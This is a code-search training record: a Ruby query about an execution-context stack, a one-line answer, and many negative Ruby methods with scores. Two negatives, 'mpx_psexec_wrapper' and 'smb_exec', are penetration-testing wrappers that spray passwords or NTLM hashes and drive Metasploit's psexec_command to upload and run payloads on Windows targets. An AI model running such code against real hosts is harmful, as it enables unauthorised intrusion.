{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def exec; end", "def exec; end", "def executor; end", "def executor; end", "def executor; end", "def execute; end", "def execute; end", "def run() end", "def execute!; end", "def run(_); end", "def run(_); end", "def proceed!; end", "def proceed!; end", "def execute\n end", "def execute\n end", "def execute\n end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def run; end", "def execute\n\t@control.run()\n end", "def execute\n \n if run?\n Rudy::Routines::Handlers::Depends.execute_all @before, @argv\n \n li \" Executing routine: #{@name} \".att(:reverse), \"\"\n ld \"[this is a generic routine]\" if @routine.empty?\n \n # Re-retreive the machine set to reflect dependency changes\n Rudy::Routines.rescue {\n @machines = Rudy::Machines.list || []\n @@rset = Rudy::Routines::Handlers::RyeTools.create_set @machines\n }\n \n Rudy::Routines.rescue {\n Rudy::Routines::Handlers::Group.authorize rescue nil\n }\n \n if @routine.has_key? :before_local\n handler = Rudy::Routines.get_handler :local\n Rudy::Routines.rescue {\n handler.execute(:local, @routine.delete(:before_local), nil, @@lbox, @argv)\n }\n end\n \n if @routine.has_key? :before_remote\n handler = Rudy::Routines.get_handler :remote\n Rudy::Routines.rescue {\n handler.execute(:remote, @routine.delete(:before_remote), @@rset, @@lbox, @argv)\n }\n end\n end\n \n Rudy::Routines.rescue {\n if Rudy::Routines::Handlers::Disks.mount? @routine\n fake = Hash[:umount => @routine.disks[:mount]]\n Rudy::Routines::Handlers::Disks.execute :umount, fake, @@rset, @@lbox, @argv\n end\n }\n \n li \"Rebooting #{current_group_name}...\"\n @machines.each { |m| m.restart } if run?\n \n 15.times { print '.'; Kernel.sleep 2 }; li $/ # Wait for 30 seconds\n \n Rudy::Routines.rescue {\n if !Rudy::Routines::Handlers::Host.is_running? @@rset\n a = @@rset.boxes.select { |box| !box.stash.instance_running? }\n raise GroupNotRunning, a\n end\n }\n \n # This is important b/c the machines will not \n # have DNS info until after they are running. \n Rudy::Routines.rescue { Rudy::Routines::Handlers::Host.update_dns @@rset }\n \n Rudy::Routines.rescue {\n if !Rudy::Routines::Handlers::Host.is_available? @@rset\n a = @@rset.boxes.select { |box| !box.stash.instance_available? }\n raise GroupNotAvailable, a\n end\n }\n Rudy::Routines.rescue {\n Rudy::Routines::Handlers::Host.set_hostname @@rset \n }\n \n if run?\n # This is the meat of the sandwich\n Rudy::Routines.runner @routine, @@rset, @@lbox, @argv\n \n Rudy::Routines.rescue {\n Rudy::Routines::Handlers::Depends.execute_all @after, @argv\n }\n end\n \n @machines\n end", "def run_cmd(cmd)\n\tend", "def execute\n\n end", "def do_execute code\n\t\t\tclassname = code.classname\n\t\t\tmethod = code.methodname\n\t\t\treturn if method == 'initialize'\n\t\t\t# @cf.cfp_logger.trace TRACE_ENGINE,\"Executing #{classname}.#{method}\"\n\t\t\t# Make sure global and class level variables exist\n\t\t\tsourcepath = File.dirname(code.fn)\n\t\t\thomepath = ENV['HOME']\n\t\t\tuser = ENV['USER'] # @@FIXME\n\t\t\tbegin\n\t\t\t\tiname = '@'+instancename(classname)\n\t\t\t\tif !@executeclasslist[classname]\n\t\t\t\t\t# ---- Create new class and add into runtime space\n\t\t\t\t\tscode = \"#{iname} = Cfp_Compile::#{classname}.new @cf,sourcepath,homepath,user\"\n\t\t\t\t\t@cf.cfp_logger.trace TRACE_ENGINE,'Executing: '+scode\n\t\t\t\t\teval scode\n\t\t\t\t\t@executeclasslist[classname] = Cfp_ExecuteClass.new(classname)\n\t\t\t\tend\n\t\t\t\tif !@executeclasslist[classname].skip\n\t\t\t\t\tscode = \"#{iname}.#{method}\"\n\t\t\t\t\t@cf.cfp_logger.trace TRACE_ENGINE,'Executing: '+scode\n\t\t\t\t\teval scode\n\t\t\t\tend\n\t\t\trescue CfrubyRuntime::PackageNotInstalledError, CfrubyRuntime::ExitScript\n\t\t\t\t@executeclasslist[classname].skip = true\n\t\t\trescue\n\t\t\t\tmsg = 'ERROR cfscript ',code.fn,\" line #{code.linenum} - #{$!}\\n\"\n\t\t\t\tcode.dump\n\t\t\t\t@cf.cfp_logger.error LOG_CRIT,msg,'cfruby'\n\t\t\t\traise\n\t\t\tend\n\t\tend", "def invoke; end", "def run\n end", "def do_execute\n raise StandardError, \"Not implemented!\"\n end", "def execute\n \n if run?\n Rudy::Routines::Handlers::Depends.execute_all @before, @argv\n \n li \" Executing routine: #{@name} \".att(:reverse), \"\"\n ld \"[this is a generic routine]\" if @routine.empty?\n \n if @routine.has_key? :before_local\n handler = Rudy::Routines.get_handler :local\n Rudy::Routines.rescue {\n handler.execute(:local, @routine.delete(:before_local), nil, @@lbox, @argv)\n }\n end\n \n Rudy::Routines.rescue {\n unless Rudy::Routines::Handlers::Group.exists? \n Rudy::Routines::Handlers::Group.create\n end\n # Run this every startup incase the ip address has changed. \n # If there's an exception it's probably b/c the address is\n # already authorized for port 22. \n Rudy::Routines::Handlers::Group.authorize rescue nil\n }\n \n Rudy::Routines.rescue {\n unless Rudy::Routines::Handlers::Keypair.exists? \n Rudy::Routines::Handlers::Keypair.create\n end\n }\n \n end\n \n ## li Rudy::Routines.machine_separator(machine.name, machine.awsid)\n \n # If this is a testrun we won't create new instances\n # we'll just grab the list of machines in this group. \n # NOTE: Expect errors if there are no machines.\n Rudy::Routines.rescue {\n @machines = if !run?\n Rudy::Machines.list\n elsif Rudy::Routines::Handlers::SpotRequest.needed?\n request = Rudy::Routines::Handlers::SpotRequest.create\n Rudy::Machines.from_spot_request(request)\n else\n Rudy::Machines.create\n end\n \n @@rset = Rudy::Routines::Handlers::RyeTools.create_set @machines\n }\n \n \n Rudy::Routines.rescue {\n if !Rudy::Routines::Handlers::Host.is_running? @@rset\n a = @@rset.boxes.select { |box| !box.stash.instance_running? }\n raise GroupNotRunning, a\n end\n }\n \n # This is important b/c the machines will not \n # have DNS info until after they are running. \n # This will also assign elastic IP addresses. \n Rudy::Routines.rescue { Rudy::Routines::Handlers::Host.update_dns @@rset }\n \n Rudy::Routines.rescue {\n if !Rudy::Routines::Handlers::Host.is_available? @@rset\n a = @@rset.boxes.select { |box| !box.stash.instance_available? }\n raise GroupNotAvailable, a\n end\n }\n Rudy::Routines.rescue {\n Rudy::Routines::Handlers::Host.set_hostname @@rset \n }\n \n if run?\n # This is the meat of the sandwich\n Rudy::Routines.runner @routine, @@rset, @@lbox, @argv\n\n Rudy::Routines.rescue {\n Rudy::Routines::Handlers::Depends.execute_all @after, @argv\n }\n \n end\n \n @machines\n end", "def _perform(args); end", "def do_processing()\n result = create_root_keychain\n Utilities.bail(\"create_root_keychain failed\") if result != 0\n Utilities.bail(\"create_setting_file failed\") if create_setting_file != 0\n add_roots()\n Utilities.bail(\"create_temp_keychain failed\") if create_temp_keychain != 0\n distrust_certs()\n revoked_certs()\n delete_temp_keychain()\n Utilities.bail(\"check_all_roots_added failes\") if !check_all_roots_added\n set_file_priv()\n end", "def runner(&blk); end", "def runner(&blk); end", "def invoking\n end", "def execute()\n\n end", "def execute()\n\n end", "def safe_run()\n begin\n self.run()\n rescue Exception=>e\n\te_string = \"hmm, cron method excepted: #{e}\"\n\tprint e_string\n\tself.getSession().say( e_string )\n end\n end", "def mpx_psexec_wrapper\n\t\tprint_status(\"\")\n\t\tprint_status(\"Microsoft Windows Authenticated User Code Execution\")\n\t\tprint_status(\" HR's Multi-Scan PSEXEC Wrapper \")\n\t\tprint_status(\"\")\n\t\twhile(true)\n\t\t\tprint_caution(\"Provide Targets File with one per line: \")\n\t\t\tzTARGETS=gets.chomp\n\t\t\tif File.exists?(zTARGETS)\n\t\t\t\tbreak\n\t\t\telse\n\t\t\t\tprint_error(\"\")\n\t\t\t\tprint_error(\"Can't find provided file!\")\n\t\t\t\tprint_error(\"Check the path or permissions and try again....\")\n\t\t\t\tprint_error(\"\")\n\t\t\tend\n\t\tend\n\t\tprint_caution(\"Provide Username: \")\n\t\tzUSER=gets.chomp\n\t\twhile(true)\n\t\t\tprint_caution(\"Select Password Option to use: \")\n\t\t\tprint_caution(\"1) Single Password or LM:NTLM Hash\")\n\t\t\tprint_caution(\"2) List with one Password or LM:NTLM hash per Line\")\n\t\t\tanswer=gets.chomp\n\t\t\tcase answer\n\t\t\twhen 1\n\t\t\t\tprint_caution(\"Provide Password: \")\n\t\t\t\tzPASS=gets.chomp\n\t\t\t\tmeth=1\n\t\t\t\tbreak\n\t\t\twhen 2\n\t\t\t\tprint_caution(\"Path to Password|Hash File to use: \")\n\t\t\t\tzPASSWORDS=gets.chomp\n\t\t\t\tif File.exists?(zPASSWORDS)\n\t\t\t\t\tmeth=2\n\t\t\t\t\tbreak\n\t\t\t\telse\n\t\t\t\t\tprint_error(\"\")\n\t\t\t\t\tprint_error(\"Can't find provided file!\")\n\t\t\t\t\tprint_error(\"Check the path or permissions and try again....\")\n\t\t\t\t\tprint_error(\"\")\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tprint_error(\"\")\n\t\t\t\tprint_error(\"#{answer} is not a valid selection!\")\n\t\t\t\tprint_error(\"Please select a option from the menu....\")\n\t\t\t\tprint_error(\"\")\n\t\t\tend\n\t\tend\n\t\twhile(true)\n\t\t\tprint_caution(\"Path to Binary Payload to Upload & Execute on success: \")\n\t\t\tzEVIL=gets.chomp\n\t\t\tif File.exists?(zEVIL)\n\t\t\t\tbreak\n\t\t\telse\n\t\t\t\tprint_error(\"\")\n\t\t\t\tprint_error(\"Can't find provided file!\")\n\t\t\t\tprint_error(\"Check the path or permissions and try again....\")\n\t\t\t\tprint_error(\"\")\n\t\t\tend\n\t\tend\n\n\t\t#Multiple Targets to Attack, read into variable and run through them line by line\n\t\ttargets=File.open(zTARGETS).readlines\n\t\ttarget.each do |target|\n\t\t\tif meth.to_i == 1\n\t\t\t\t#Mult Target, Single Pass\n\t\t\t\tsingle_target(zUSER, zPASS, target, zEVIL)\n\t\t\telsif meth.to_i == 2\n\t\t\t\t#Mult Target, Multi Pass\n\t\t\t\tpasswords=File.open(zPASSWORDS).readlines\n\t\t\t\tpasswords.each do |pass|\n\t\t\t\t\tsingle_target(zUSER, pass, target, zEVIL)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend", "def run()\n end", "def run\n raise \"Not implemented yet.\"\n end", "def sleepy_run; end", "def run_main\n end", "def main\n\n\n operations.running.retrieve interactive: false\n save_user operations\n debug_setup(operations) if debug\n \n if KIT_NAME == \"uw kit\"\n if debug\n labels = \"ABCDEF\".split('')\n operations.each.with_index do |op, i|\n op.input(INPUT).item.associate(SAMPLE_KEY, labels[i]) \n op.input(INPUT).item.associate(COMPONENT_KEY, \"\") \n end\n end\n end\n \n save_temporary_input_values(operations, INPUT)\n operations.each do |op|\n op.temporary[:pack_hash] = PACK_HASH\n end\n save_temporary_output_values(operations)\n \n # reassign labels to sample numbers if uw kit\n if KIT_NAME == \"uw kit\"\n operations.each do |op|\n op.temporary[:output_sample] = {\"A\"=>1, \"B\"=>2}[op.temporary[:output_sample]]\n end \n end\n \n run_checks operations\n if KIT_NAME == \"uw kit\"\n uw_kit_introduction operations.running\n else\n kenya_kit_introduction operations.running\n end\n area_preparation \"pre-PCR\", MATERIALS, POST_PCR\n get_pcr_packages operations.running\n open_pcr_packages operations.running\n debug_table operations.running\n check_for_tube_defects sorted_ops.running\n # nuttada thaw\n # nuttada needs vortex + centrigure\n centrifuge_samples sorted_ops.running\n resuspend_pcr_mix sorted_ops.running\n add_template_to_master_mix sorted_ops.running\n cleanup sorted_ops\n start_thermocycler sorted_ops.running\n conclusion sorted_ops\n return {}\n end", "def exec\n raise NotImplementError\n end", "def runner; end", "def run\n \n end", "def run\n \n end", "def sandbox; end", "def sandbox; end", "def system; end", "def system; end", "def run\n handle_options()\n execute_operation()\n end", "def run\n end", "def run\n end", "def run\n end", "def run\n end", "def run\n end", "def run\n end", "def run\n end", "def run(&block); end", "def call() end", "def exec(command, &block); end", "def main\n operations.each do |op|\n op.temporary[:pack_hash] = PACK_HASH\n end\n save_user operations\n operations.running.retrieve interactive: false\n debug_setup operations\n save_temporary_input_values(operations, INPUT)\n save_temporary_output_values(operations)\n introduction operations.running\n area_preparation POST_PCR, MATERIALS, PRE_PCR\n get_detection_packages operations.running\n open_detection_packages operations.running\n rehydrate_stop_solution sorted_ops.running\n wait_for_pcr sorted_ops.running\n stop_ligation_product sorted_ops.running\n # short_timer\n rehydrate_gold_solution sorted_ops.running\n display_detection_strip_diagram\n add_ligation_product_to_strips sorted_ops.running\n add_gold_solution sorted_ops.running\n read_from_scanner sorted_ops.running\n # if KIT_NAME == \"uw kit\"\n # run_image_analysis operations.running \n # end\n cleanup sorted_ops\n conclusion sorted_ops\n return {\"Ok\" => 1}\n end", "def execute\n end", "def execute\n end", "def run\n end", "def execute_in_sandbox(code)\n test_name = \"#{File.dirname(__FILE__)}/am-quoting-test.#{$$}.rb\"\n res_name = \"#{File.dirname(__FILE__)}/am-quoting-test.#{$$}.out\"\n\n File.open(test_name, \"w+\") do |file|\n file.write(<<-CODE)\n block = Proc.new do\n #{code}\n end\n puts block.call\n CODE\n end\n\n system(\"ruby #{test_name} > #{res_name}\") or raise \"could not run test in sandbox\"\n File.read(res_name).chomp\n ensure\n File.delete(test_name) rescue nil\n File.delete(res_name) rescue nil\n end", "def exec_sync\n raise \"You must override `exec_sync' in your class\"\n end", "def run_actions; end", "def smb_exec\n\t\tprint_status(\"\")\n\t\tprint_status(\"Windows Authenticated User Code Execution\")\n\t\tprint_status(\" MSF PSEXEC_COMMAND Payload Delivery \")\n\t\tprint_status(\"\")\n\t\tprint_caution(\"Provide Username: \")\n\t\tzUSER=gets.chomp\n\n\t\tprint_caution(\"Provide Password or LM:NTLM Hash: \")\n\t\tzPASS=gets.chomp\n\n\t\tprint_caution(\"Set Domain (Y/N)?\")\n\t\tanswer=gets.chomp\n\t\tif answer.upcase == 'Y' or answer.upcase == 'YES'\n\t\t\tprint_caution(\"Domain to use: \")\n\t\t\tzDOMAIN=gets.chomp\n\t\telse\n\t\t\tzDOMAIN='WORKGROUP'\n\t\tend\n\n\t\tprint_caution(\"Target IP: \")\n\t\tzIP=gets.chomp\n\n\t\tprint_caution(\"Number of Threads to Run (1,5,..): \")\n\t\tzTHREADS=gets.chomp\n\n\t\tprint_caution(\"Use default SMB Port 445 (Y/N)?\")\n\t\tanswer=gets.chomp\n\t\tif answer.upcase == 'N' or answer.upcase == 'NO'\n\t\t\tprint_caution(\"Port: \")\n\t\t\tzPORT=gets.chomp\n\t\telse\n\t\t\tzPORT='445'\n\t\tend\n\n\t\tprint_caution(\"Use C$ share (Y/N)?\")\n\t\tanswer=gets.chomp\n\t\tif answer.upcase == 'N' or answer.upcase == 'NO'\n\t\t\tprint_caution(\"Provide share to use: \")\n\t\t\tzSHARE=gets.chomp\n\t\telse\n\t\t\tzSHARE='C$'\n\t\tend\n\t\t#Our Base Resource File, just needs commands and run statements added\n\t\trcfile=\"#{$temp}msfassist.rc\"\n\t\tf=File.open(rcfile, 'w')\n\t\tf.puts \"db_connect #{MSFDBCREDS}\"\n\t\tf.puts \"use auxiliary/admin/smb/psexec_command\"\n\t\tf.puts \"set RHOSTS #{zIP}\"\n\t\tf.puts \"set RPORT #{zPORT}\"\n\t\tf.puts \"set SMBSHARE #{zSHARE}\"\n\t\tf.puts \"set SMBDomain #{zDOMAIN}\"\n\t\tf.puts \"set SMBUser #{zUSER}\"\n\t\tf.puts \"set SMBPass #{zPASS}\"\n\t\tf.puts \"set THREADS #{zTHREADS}\"\n\t\t#Get commands from user\n\t\tprint_line(\"\")\n\t\tprint_error(\"No Daisy Chains!\")\n\t\tprint_caution(\"Enter the number of Commands you need to run (1,2,..): \")\n\t\tzcount=gets.chomp\n\t\tif not zcount =~ /\\d+/\n\t\t\tzcount=1\n\t\tend\n\t\tcmdz=[]\n\t\tcount=1\n\t\twhile zcount.to_i > 0\n\t\t\tprint_caution(\"Enter Command #{count}: \") \n\t\t\tcmdz << gets.chomp\n\t\t\tcount = count.to_i + 1\n\t\t\tzcount = zcount.to_i - 1\n\t\tend\n\t\tprint_line(\"\")\n\t\tcmdz.each do |cmd|\n\t\t\tf.puts \"set COMMAND #{cmd}\"\n\t\t\tf.puts \"run\"\n\t\tend\n\t\tf.close\n\t\tprint_status(\"Launching MSF PSEXEC_COMMAND against #{zIP}:#{zPORT} in a new x-window.....\")\n\t\twin_psexec_cmd=\"xterm -title 'MSF PSEXEC_COMMAND' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \\\"bash -c '#{MSFPATH}/msfconsole -r #{rcfile}'\\\"\"\n\t\tfireNforget(win_psexec_cmd)\n\t\tprint_line(\"\")\n\tend", "def execute\n self.started\n self.execute_internal\n self.finished\n end", "def main\n @coordinator.install\n\n begin\n unless @coordinator.cancelled?\n @result = @context.execute\n end\n\n rescue => e\n @exception = e\n end\n\n @coordinator.uninstall\n\n @context = nil\n end", "def code\n call_once\n @code\n end", "def runnables; end", "def execute\n raise errors.to_sentences unless valid?\n\n # default failing command\n result = false\n\n # protect command from recursion\n mutex = Mutagem::Mutex.new('revenc.lck')\n lock_successful = mutex.execute do\n result = system_cmd(cmd)\n end\n\n raise \"action failed, lock file present\" unless lock_successful\n result\n end", "def code; end", "def code; end", "def code; end", "def code; end", "def code; end", "def code; end", "def code; end", "def run\n raise \"Not implemented for this check.\"\n end", "def refork; end", "def main_run\n raise NotImplementedError\n end", "def run\r\n\t\t\t@b.call\r\n\t\tend", "def execute\n raise \"you need to define #execute\"\n end", "def exec(cmd, *rest) end", "def execute\n raise NotImplementedError.new('Must override')\n end", "def process; end", "def process; end", "def process; end", "def process; end", "def process; end", "def process; end", "def process; end" ]
[ "0.71493167", "0.71493167", "0.66987455", "0.66987455", "0.66987455", "0.6626813", "0.6626813", "0.6455461", "0.63495046", "0.6346872", "0.6346872", "0.6306767", "0.6306767", "0.62303793", "0.62303793", "0.62301135", "0.62152153", "0.62152153", "0.62152153", "0.62152153", "0.62152153", "0.62152153", "0.62152153", "0.62152153", "0.62152153", "0.6191475", "0.6186234", "0.61560833", "0.61558473", "0.6098792", "0.6078121", "0.6069678", "0.6062413", "0.6030606", "0.6010405", "0.5990039", "0.59134483", "0.59134483", "0.589424", "0.5893441", "0.5893441", "0.58925295", "0.5884365", "0.5883504", "0.5879803", "0.5875892", "0.58645284", "0.5845253", "0.5843433", "0.58392644", "0.58259064", "0.58259064", "0.5823173", "0.5823173", "0.5821362", "0.5821362", "0.5814819", "0.5809365", "0.5809365", "0.5809365", "0.5809365", "0.5809365", "0.5809365", "0.5809365", "0.57986385", "0.57973725", "0.579406", "0.57917815", "0.57869565", "0.57869565", "0.5786319", "0.5782724", "0.5779606", "0.57596093", "0.5751983", "0.57481116", "0.57467794", "0.5742896", "0.5734381", "0.57257915", "0.57169574", "0.57169574", "0.57169574", "0.57169574", "0.57169574", "0.57169574", "0.57169574", "0.57055056", "0.5701566", "0.56927866", "0.5687686", "0.56797516", "0.5671191", "0.56529385", "0.5652249", "0.5652249", "0.5652249", "0.5652249", "0.5652249", "0.5652249", "0.5652249" ]
0.0
-1
A stack of execution context
def __stack @stack ||= [] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def __stack\n @stack\n end", "def stack\n @stack\n end", "def callstack\n @callstack.dup\n end", "def stack; end", "def stack; end", "def context\n @context_stack.last\n end", "def load_stack\n @load_stack\n end", "def stack(new_scope = T.unsafe(nil)); end", "def StartStack\n\n end", "def load_stack\n $LOAD_STACK\n end", "def stack(*args); end", "def push_context\n <<-CODE\n methctx_reference(state, c->active_context);\n stack_push(c->active_context);\n CODE\n end", "def to_stack; end", "def call\n @stack = Frame.stack\n yield\n end", "def get_method_stack(fqns, name, scope: T.unsafe(nil)); end", "def scope_stack\n Threaded.scope_stack[object_id] ||= []\n end", "def return_stack\n return @state[:fiber][:return_stack]\n end", "def cmdarg_stack; end", "def cmdarg_stack; end", "def cmdarg_stack; end", "def stack\n return (@stack&.stack || [])\n end", "def current_transaction_stack\n @current_transaction_stack ||= []\n end", "def lambda_stack; end", "def lambda_stack; end", "def lambda_stack; end", "def execution_context\n @context\n end", "def stack_trace\n trace = @context_stack.reverse.map do |context|\n next if context.context_type == :base\n ['Line', context.line_number.to_s, 'in', context.context_type.to_s, context.path, context.name, ':', context.line].compact.join(' ')\n end.compact\n if stacked? && expanded_lines && expanded_lines.size > 1\n trace.unshift ['Line', expanded_line_number, 'in', 'request expansion', ':', expanded_line].join(' ')\n end\n trace\n end", "def stack_top\n\n Lib.lua_gettop(@pointer)\n end", "def execution_context\n raise \"Execution Context is not available in detached frame \\\"#{frame.url}\\\" (are you trying to evaluate?)\" if @_detached\n\n @_context_promise.value\n end", "def push\n CGContextSaveGState(@ctx)\n @stacksize = @stacksize + 1\n end", "def stack(name)\n stacks = (Thread.current[:__moped_threaded_stacks__] ||= {})\n stacks[name] ||= []\n end", "def initialize\n @stack = []\n end", "def initialize\n @stack = []\n end", "def top()\n @stack[0]\n end", "def execution_context\n initialize_context!(Object.new)\n end", "def cond_stack; end", "def cond_stack; end", "def cond_stack; end", "def push_cpath_top\n \"stack_push(global->object);\"\n end", "def current_frame\n @callstack.top\n end", "def StopStack\n \n end", "def evaluate call_stack_bindings\n case action\n when :CAPTURE\n evaluate_snapshot_point call_stack_bindings\n when :LOG\n evaluate_logpoint call_stack_bindings[0]\n end\n end", "def dump_call_stack\n puts \"[Debug] callStack start---\"\n puts caller\n puts \"[Debug] callStack end---\"\nend", "def call! env\n if env[GIN_STACK]\n dispatch env\n\n else\n env[GIN_STACK] = true\n with_log_request(env) do\n @stack.call env\n end\n end\n end", "def push_local_depth\n <<-CODE\n next_int;\n k = (native_int)_int;\n next_int;\n t1 = c->active_context;\n for(j = 0; j < k; j++) {\n t2 = blokctx_env(state, t1);\n t1 = blokenv_get_home_block(t2);\n }\n stack_push(tuple_at(state, blokctx_locals(state, t1), _int));\n CODE\n end", "def last_context=(_arg0); end", "def take_from_stack\n stack.pop\n end", "def scope_stack\n Thread.current[:\"[mongoid]:scope-stack\"] ||= {}\n end", "def scope_stack\n Thread.current[:\"[mongoid]:scope-stack\"] ||= {}\n end", "def scope_stack\n Thread.current[:\"[mongoid]:scope-stack\"] ||= {}\n end", "def context_for_eval; end", "def info_stack\n @queue << \"i s\"\n end", "def scope_stack\n NewRelic::Agent::TransactionState.get.stats_scope_stack\n end", "def era(object_name, func_name) #method\n @functions_stack.push(func_name)\n @context_stack.push(@current_context)\n\n if object_name == nil\n @new_context = {}\n else\n if @object_contexts[object_name] == nil\n @object_contexts[object_name] = {}\n @new_context = @object_contexts[object_name]\n else\n @new_context = @object_contexts[object_name]\n end\n end\n end", "def context\n Thread.current[NAME] ||= Array.new\n end", "def thread_stack_trace(tid)\r\n with_suspended_thread(tid) do\r\n ctx = thread_context(tid)\r\n if((start = read32(ctx.Ebp)) != 0) \r\n a = start\r\n stack = [[start, read32(start+4)]]\r\n while((a = read32(a)) and a != 0 and not stack.member?(a))\r\n begin\r\n stack << [a, read32(a+4)]\r\n rescue; break; end\r\n end\r\n return stack\r\n end\r\n end\r\n []\r\n end", "def context\n Thread.current[:ctx] ||= {}\n Thread.current[:ctx]\n end", "def trace_down(stack = [])\n stack << self\n return next_in_chain.trace_down(stack) if next_in_chain.present?\n stack\n end", "def stackEval(cmdStack, resStack, memState)\n # cmdStack => the command stack implemented using a list\n # resStack => the results stack implemented using a list\n # memState => the memory state implemented using a block. Will contain a map for variable names and their integers\n\n # create a map to convert vals in resStack to actual operators\n # stack will be an array where elements are added to front and removed from front\n i = 0\n while true do\n if cmdStack.length == 0\n break\n end\n if cmdStack[0].is_a?(GCConst)\n #puts \"const\"\n #puts cmdStack[0].value\n # add constants from control stack to results stack\n resStack.unshift(cmdStack[0].value) # puts the value from cmdStack[i] into the start of resStack\n cmdStack = cmdStack.drop(1) # remove top value (index 0) from command stack\n i += 1\n elsif cmdStack[0].is_a?(GCTrue)\n # add booleans from control stack to results stack\n resStack.unshift(cmdStack[0].value) # puts the value from cmdStack[i] into the start of resStack\n cmdStack = cmdStack.drop(1)\n i += 1 \n elsif cmdStack[0].is_a?(GCFalse)\n # add booleans from control stack to results stack\n resStack.unshift(cmdStack[0].value) # puts the value from cmdStack[i] into the start of resStack\n cmdStack = cmdStack.drop(1)\n i += 1\n elsif cmdStack[0].is_a?(GCOp)\n #puts \"op\"\n a = cmdStack[0]\n cmdStack = cmdStack.drop(1) \n cmdStack.unshift(a.op) #add operator to the stack\n cmdStack.unshift(a.e2) # add second expr to cmdStack\n cmdStack.unshift(a.e1) # add first expr to cmdStack\n i += 1\n\n # binary operators on cmd stack\n elsif cmdStack[0] == :plus\n b = resStack[0] # get first value from resStack. This will be the second expr in the operator statement\n resStack = resStack.drop(1)\n a = resStack[0] # get next value from resStack. This will be the first expr in the operator statement\n resStack = resStack.drop(1)\n resStack.unshift(a + b) #apply operator and put it back on resStack\n cmdStack = cmdStack.drop(1)\n i += 1\n elsif cmdStack[0] == :minus\n b = resStack[0]\n resStack = resStack.drop(1)\n a = resStack[0]\n resStack = resStack.drop(1)\n resStack.unshift(a - b)\n cmdStack = cmdStack.drop(1)\n i += 1\n elsif cmdStack[0] == :times\n b = resStack[0]\n resStack = resStack.drop(1)\n a = resStack[0]\n resStack = resStack.drop(1)\n resStack.unshift(a * b)\n cmdStack = cmdStack.drop(1)\n i += 1\n elsif cmdStack[0] == :div\n b = resStack[0]\n resStack = resStack.drop(1)\n a = resStack[0]\n resStack = resStack.drop(1)\n resStack.unshift(a / b)\n cmdStack = cmdStack.drop(1)\n i += 1\n\n # variable\n elsif cmdStack[0].is_a?(GCVar)\n # apply memoryState function to variable and add to resultStack\n\n x = memState.call(cmdStack[0].value)\n #puts \"var\"\n #puts x\n resStack.unshift(memState.call(cmdStack[0].value))\n # remove GCVar from commandstack\n cmdStack = cmdStack.drop(1)\n i += 1\n\n # Test compare\n elsif cmdStack[0].is_a?(GCComp)\n #puts \"comp\"\n a = cmdStack[0]\n cmdStack = cmdStack.drop(1)\n cmdStack.unshift(a.op) #add operator to the stack\n cmdStack.unshift(a.e2) # add second expr to cmdStack\n cmdStack.unshift(a.e1) # add first expr to cmdStack\n i += 1 \n\n # less\n elsif cmdStack[0] == :less\n #puts \"less\"\n a = resStack[1]\n b = resStack[0]\n resStack = resStack.drop(2)\n resStack.unshift(a < b)\n cmdStack = cmdStack.drop(1)\n\n # greater\n elsif cmdStack[0] == :greater\n a = resStack[1]\n b = resStack[0]\n #puts \"greater\"\n resStack = resStack.drop(2)\n resStack.unshift(a > b)\n cmdStack = cmdStack.drop(1)\n\n # eq\n elsif cmdStack[0] == :eq\n a = resStack[0]\n b = resStack[1]\n resStack = resStack.drop(2)\n resStack.unshift(a == b)\n cmdStack = cmdStack.drop(1)\n\n elsif cmdStack[0].is_a?(GCAnd)\n #puts \"and gc\"\n a = cmdStack[0]\n cmdStack = cmdStack.drop(1)\n cmdStack.unshift(\"and\")\n cmdStack.unshift(a.t2)\n cmdStack.unshift(a.t1)\n\n elsif cmdStack[0] == \"and\"\n a = resStack[0]\n b = resStack[1]\n #puts a&b\n resStack = resStack.drop(2)\n cmdStack = cmdStack.drop(1)\n resStack.unshift(a & b)\n\n elsif cmdStack[0].is_a?(GCOr)\n a = cmdStack[0]\n cmdStack = cmdStack.drop(1)\n cmdStack.unshift(\"or\")\n cmdStack.unshift(a.t2)\n cmdStack.unshift(a.t1)\n\n elsif cmdStack[0] == \"or\"\n a = resStack[0]\n b = resStack[1]\n resStack = resStack.drop(2)\n cmdStack.drop(1)\n resStack.unshift(a | b)\n\n\n\n # skip\n elsif cmdStack[0].is_a?(GCSkip)\n # no changes to result stack or memState\n cmdStack = cmdStack.drop(1)\n break\n i += 1\n\n # variable assignment\n elsif cmdStack[0].is_a?(GCAssign)\n # add to memState the new variable substitution \n #puts \"assign\"\n a = cmdStack[0]\n cmdStack = cmdStack.drop(1) # remove GCAssign from cmdstack\n cmdStack.unshift(a.s) # add symbol to be assigned\n cmdStack.unshift(\"assign\") # add assign statement\n cmdStack.unshift(a.e) # add expression to be evaluated\n i += 1\n \n #assignment operator\n # command stack [\"assign\",symbol,...]\n # res stack [const,...]\n elsif cmdStack[0] == \"assign\"\n memState = updateState(memState, cmdStack[1], resStack[0])\n cmdStack = cmdStack.drop(2) # remove assign and symbol\n resStack = resStack.drop(1) # remove constant \n i += 1\n\n # compose\n elsif cmdStack[0].is_a?(GCCompose)\n #puts \"compose\"\n a = cmdStack[0]\n cmdStack = cmdStack.drop(1) # remove GCCompose from command stack\n cmdStack.unshift(a.st2) # add 2nd statement to be evaluated\n cmdStack.unshift(a.st1) # add first statement to be evaluated\n i += 1\n\n # if statement breakdown\n elsif cmdStack[0].is_a?(GCIf)\n p = cmdStack[0] # top element from stack. Should be of type GCIf\n cmdStack = cmdStack.drop(1) #remove GCIf from cmdStack\n l = p.pairlist # get list from GCIf\n if l.length == 0\n cmdStack.unshift(GCSkip.new())\n else\n randval = rand(l.length) # get random value \n pair = l[randval]\n l.delete_at(randval) # remove statement from index randval\n \n # re-add broken down GCIf to command stakc\n cmdStack.unshift(GCIf.new(l)) # add remaining statements\n cmdStack.unshift(pair[1]) # add statement \n cmdStack.unshift(\"if\") # add if\n cmdStack.unshift(pair[0]) # add boolean guard\n i += 1\n end\n elsif cmdStack[0] == \"if\"\n b = resStack[0] # get the boolean that would have been evaluated from result stack\n if b == true \n s1 = cmdStack[1] # get the statement to be executed\n cmdStack = cmdStack.drop(3) # remove the if, s1 and remaining GCIf block \n resStack = resStack.drop(1) # remove that boolean check\n cmdStack.unshift(s1) #place the s1 value back on command stack\n else \n cmdStack = 